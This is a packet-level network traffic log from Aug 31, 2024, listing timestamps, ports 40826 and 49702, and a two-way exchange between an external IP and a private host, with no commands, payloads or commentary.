Aug 31, 2024 18:37:04.101149082 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101156950 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101183891 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101202011 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101255894 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101264954 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101270914 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101279974 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101286888 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101294994 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101316929 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101357937 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101397991 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101407051 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101413965 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101422071 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101428986 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101437092 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101443052 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101484060 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101506948 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101516008 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101524115 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101531982 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101563931 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101629972 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101639032 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101645947 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101654053 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101661921 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101669073 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101676941 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101685047 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101686954 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101717949 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101727009 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101730108 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101733923 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101742029 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101782084 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101905107 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101912975 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101916075 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101922035 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101928949 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101936102 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101943016 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101948977 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101957083 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101963997 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101964951 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101974010 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101975918 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101980925 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101984024 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.101988077 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101993084 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.101995945 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102021933 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.102037907 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.102148056 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102155924 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102163076 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102202892 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.102267027 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102274895 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102281094 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102288008 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102294922 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102302074 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102317095 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.102333069 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.102355003 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.102400064 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102406979 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102412939 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102420092 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102426052 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102432966 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102448940 CEST	49702	40826	192.168.2.6	207.32.219.79
Aug 31, 2024 18:37:04.102459908 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102468014 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102473974 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102480888 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102487087 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102493048 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102653027 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102660894 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102667093 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102674007 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102680922 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102688074 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102694035 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102794886 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102802992 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102809906 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102817059 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102824926 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102830887 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102838039 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102844954 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102852106 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102858067 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102864981 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102868080 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102883101 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102890015 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.102896929 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103225946 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103234053 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103245020 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103254080 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103260994 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103264093 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103270054 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103276968 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103282928 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103288889 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103296041 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103302002 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103308916 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103315115 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103322983 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103327036 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103332996 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103339911 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103668928 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103677034 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103684902 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103692055 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103694916 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.103910923 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104051113 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104058027 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104271889 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104404926 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104412079 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104418993 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104425907 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104625940 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104639053 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104654074 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104661942 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104727983 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104737043 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104753017 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104756117 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104898930 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.104907990 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105027914 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105036974 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105045080 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105051994 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105256081 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105264902 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105273008 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105279922 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105422020 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105431080 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105438948 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105449915 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105457067 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105464935 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105470896 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105478048 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105659962 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105668068 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105676889 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105684996 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105691910 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.105700016 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106025934 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106034994 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106095076 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106153965 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106163025 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106170893 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106215000 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106223106 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106368065 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106416941 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106425047 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106434107 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106456041 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106465101 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106472969 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106479883 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106774092 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106781006 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106791973 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106798887 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106817961 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106826067 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106832027 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106838942 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106903076 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106910944 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106918097 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106925011 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106928110 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106935024 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106945038 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106951952 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106959105 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106961966 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106967926 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106975079 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.106977940 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107018948 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107027054 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107043028 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107050896 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107058048 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107065916 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107127905 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107136011 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107144117 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107150078 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107156992 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107192039 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107198954 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107208014 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107213974 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107362032 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107371092 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107378006 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107384920 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107392073 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107398033 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107517958 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107526064 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107532978 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107538939 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107630968 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107637882 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107640982 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107644081 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107650995 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107657909 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107664108 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107717037 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107723951 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107729912 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107825041 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107832909 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107840061 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107846975 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107853889 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107867002 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107897043 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.107904911 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108081102 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108088970 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108095884 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108170033 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108315945 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108325005 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108328104 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108335018 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108341932 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108407974 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108417034 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108422995 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108474016 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108489037 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108495951 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108505011 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108764887 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108773947 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108791113 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108798027 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108805895 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108892918 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108901978 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108910084 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108916998 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108923912 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108944893 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.108952999 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109116077 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109124899 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109132051 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109139919 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109147072 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109154940 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109251022 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109258890 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109541893 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109550953 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109623909 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109632015 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109648943 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109657049 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109664917 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109679937 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109858990 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109867096 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109874964 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.109915972 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110101938 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110111952 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110119104 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110126972 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110135078 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110142946 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110150099 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110157967 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110166073 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110173941 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110181093 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110188007 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110269070 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110277891 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110769987 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.110852957 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111382961 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111392021 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111401081 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111435890 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111444950 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111588955 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111598015 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111605883 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111613989 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111620903 CEST	40826	49702	207.32.219.79	192.168.2.6
Aug 31, 2024 18:37:04.111634016 CEST	40826	49702	207.32.219.79	192.168.2.6
